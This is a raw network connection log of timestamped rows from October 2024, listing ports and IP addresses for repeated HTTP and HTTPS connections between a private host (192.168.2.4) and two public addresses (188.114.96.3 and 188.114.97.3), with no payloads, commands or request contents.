Oct 4, 2024 11:23:19.176259995 CEST	443	49796	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.176393032 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.176851034 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.176862001 CEST	443	49796	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.223767042 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.390539885 CEST	443	49795	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.390642881 CEST	49795	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.390675068 CEST	49795	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.641999960 CEST	443	49796	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.642185926 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.646157026 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.646177053 CEST	443	49796	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.646419048 CEST	443	49796	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.655249119 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.655399084 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.655437946 CEST	443	49796	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.655556917 CEST	443	49796	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.655559063 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.655678988 CEST	49796	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.655833960 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.656506062 CEST	49797	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.661087990 CEST	80	49784	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.661164045 CEST	49784	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.661319017 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:19.661425114 CEST	49797	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.661494970 CEST	49797	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:19.666634083 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.316337109 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.317344904 CEST	49798	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.317384958 CEST	443	49798	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.317466021 CEST	49798	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.317682028 CEST	49798	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:20.317728043 CEST	443	49798	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:20.317792892 CEST	49798	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:20.317902088 CEST	49798	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:20.318588018 CEST	49797	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.323585033 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.538149118 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.539308071 CEST	49799	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.539352894 CEST	443	49799	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.539539099 CEST	49799	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.539774895 CEST	49797	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.545388937 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.731548071 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.786300898 CEST	49797	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.862154007 CEST	80	49797	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.862341881 CEST	49797	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.863709927 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.868596077 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:20.868685961 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.868801117 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:20.873580933 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:21.504667044 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:21.551879883 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.559046984 CEST	49801	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.559098959 CEST	443	49801	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:21.559168100 CEST	49801	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.559355974 CEST	49801	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:21.559406996 CEST	443	49801	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:21.559492111 CEST	49801	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:21.559570074 CEST	49801	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:21.563566923 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.568607092 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:21.988770008 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:21.989212036 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:21.989293098 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.991105080 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.991161108 CEST	443	49802	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:21.991261959 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.992109060 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:21.997082949 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.183243990 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.188122034 CEST	49803	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.188167095 CEST	443	49803	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.188255072 CEST	49803	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.188607931 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.193444014 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.379771948 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.380906105 CEST	49804	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.380963087 CEST	443	49804	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.381030083 CEST	49804	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.381105900 CEST	49804	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:22.381165028 CEST	443	49804	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:22.381231070 CEST	49804	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:22.381269932 CEST	49804	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:22.381584883 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.387695074 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.572864056 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.574248075 CEST	49805	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.574296951 CEST	443	49805	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.574369907 CEST	49805	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.574748039 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.580487013 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.765755892 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.766995907 CEST	49806	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.767047882 CEST	443	49806	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.767136097 CEST	49806	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.767600060 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.775341034 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.961215019 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.962296963 CEST	49807	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.962349892 CEST	443	49807	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:22.962428093 CEST	49807	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.962536097 CEST	49807	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.963246107 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:22.968168020 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.154321909 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.155427933 CEST	49808	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:23.155478001 CEST	443	49808	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.155556917 CEST	49808	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:23.155869961 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:23.160749912 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.486726999 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.488132000 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:23.492913961 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.678563118 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.679194927 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:23.684161901 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.869712114 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:23.911261082 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.009885073 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.010384083 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.015186071 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.201441050 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.202635050 CEST	49809	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.202681065 CEST	443	49809	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.202789068 CEST	49809	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.203093052 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.208075047 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.394898891 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.396101952 CEST	49810	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.396163940 CEST	443	49810	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.396249056 CEST	49810	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.396634102 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.401467085 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.587753057 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.589464903 CEST	49811	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.589514017 CEST	443	49811	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.589627028 CEST	49811	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.590451956 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.595302105 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.780689955 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.781851053 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:24.786763906 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:24.972992897 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.020755053 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.100436926 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.101429939 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.107090950 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.435735941 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.437728882 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.437820911 CEST	443	49812	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.438075066 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.438297033 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.443166018 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.628388882 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.629967928 CEST	49813	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.630008936 CEST	443	49813	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.630109072 CEST	49813	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.630285978 CEST	49813	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.630675077 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.635642052 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.822283983 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:25.822909117 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:25.827822924 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.014022112 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.015615940 CEST	49814	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.015676022 CEST	443	49814	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.015870094 CEST	49814	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.016145945 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.021019936 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.208029032 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.209599972 CEST	49815	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.209650993 CEST	443	49815	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.209783077 CEST	49815	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.210103035 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.215032101 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.400435925 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.401778936 CEST	49816	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.401860952 CEST	443	49816	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.401978970 CEST	49816	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.402364969 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.407325983 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.594324112 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.595171928 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.600217104 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.784076929 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.833280087 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.912446022 CEST	80	49800	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.912823915 CEST	49800	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.913985968 CEST	49817	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.918945074 CEST	80	49817	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:26.919053078 CEST	49817	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.919183969 CEST	49817	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:26.924068928 CEST	80	49817	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.583642960 CEST	80	49817	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.585274935 CEST	49818	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.585377932 CEST	443	49818	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.585489988 CEST	49818	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.586308002 CEST	49817	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.592590094 CEST	80	49817	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.780224085 CEST	80	49817	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.833201885 CEST	49817	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.914144039 CEST	80	49817	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.914417982 CEST	49817	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.915414095 CEST	49819	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.915467024 CEST	443	49819	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.915541887 CEST	49819	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.915627003 CEST	49819	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:27.915688038 CEST	443	49819	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:27.915764093 CEST	49819	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:27.915800095 CEST	49819	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:27.918075085 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.922904968 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:27.923028946 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.923247099 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:27.928633928 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:28.819461107 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:28.820141077 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:28.820204973 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:28.820507050 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:28.820555925 CEST	443	49821	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:28.820625067 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:28.820775032 CEST	49821	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:28.820832968 CEST	443	49821	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:28.820888042 CEST	49821	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:28.820934057 CEST	49821	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:28.821260929 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:28.826159954 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.014517069 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.015928030 CEST	49822	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.016032934 CEST	443	49822	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.016153097 CEST	49822	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.016536951 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.021441936 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.209376097 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.255121946 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.342597961 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.343034029 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.348023891 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.547029018 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.548197985 CEST	49823	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.548250914 CEST	443	49823	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.548316002 CEST	49823	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.548676968 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.553803921 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.747805119 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.751775026 CEST	49824	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.751843929 CEST	443	49824	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.751935005 CEST	49824	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.752202988 CEST	49824	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.752216101 CEST	443	49824	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.766266108 CEST	49824	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.766541958 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:29.773714066 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.807405949 CEST	443	49824	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:29.960864067 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.005011082 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.090251923 CEST	80	49820	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.094595909 CEST	49820	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.096587896 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.101448059 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.102580070 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.102682114 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.107412100 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.209014893 CEST	443	49824	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.209095001 CEST	49824	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.209121943 CEST	49824	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.802311897 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.803518057 CEST	49826	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.803567886 CEST	443	49826	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.803647995 CEST	49826	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.803972006 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.809000969 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.995739937 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.997128010 CEST	49827	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.997188091 CEST	443	49827	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:30.997272015 CEST	49827	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:30.997642994 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.002511024 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.189404011 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.190502882 CEST	49828	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.190560102 CEST	443	49828	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.190627098 CEST	49828	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.190951109 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.195950031 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.383986950 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.385329008 CEST	49829	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.385413885 CEST	443	49829	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.385504007 CEST	49829	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.385855913 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.390714884 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.580693007 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.582156897 CEST	49830	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.582254887 CEST	443	49830	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.582345009 CEST	49830	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.582705021 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.589492083 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.775949955 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.776915073 CEST	49831	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.776962996 CEST	443	49831	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.777029037 CEST	49831	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.777124882 CEST	49831	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:31.777187109 CEST	443	49831	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:31.777256966 CEST	49831	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:31.777292967 CEST	49831	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:31.777607918 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.783251047 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.971987963 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:31.972949028 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:31.977900028 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.387284040 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.387577057 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.387649059 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.388864040 CEST	49832	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.388900042 CEST	443	49832	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.388966084 CEST	49832	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.389456987 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.394370079 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.609117031 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.610826015 CEST	49833	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.610872030 CEST	443	49833	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.610960960 CEST	49833	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.611373901 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.616312981 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.803087950 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.804826975 CEST	49834	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.804877043 CEST	443	49834	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:32.804982901 CEST	49834	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.805804968 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:32.810802937 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.000751972 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.002351046 CEST	49835	443	192.168.2.4	188.114.96.3
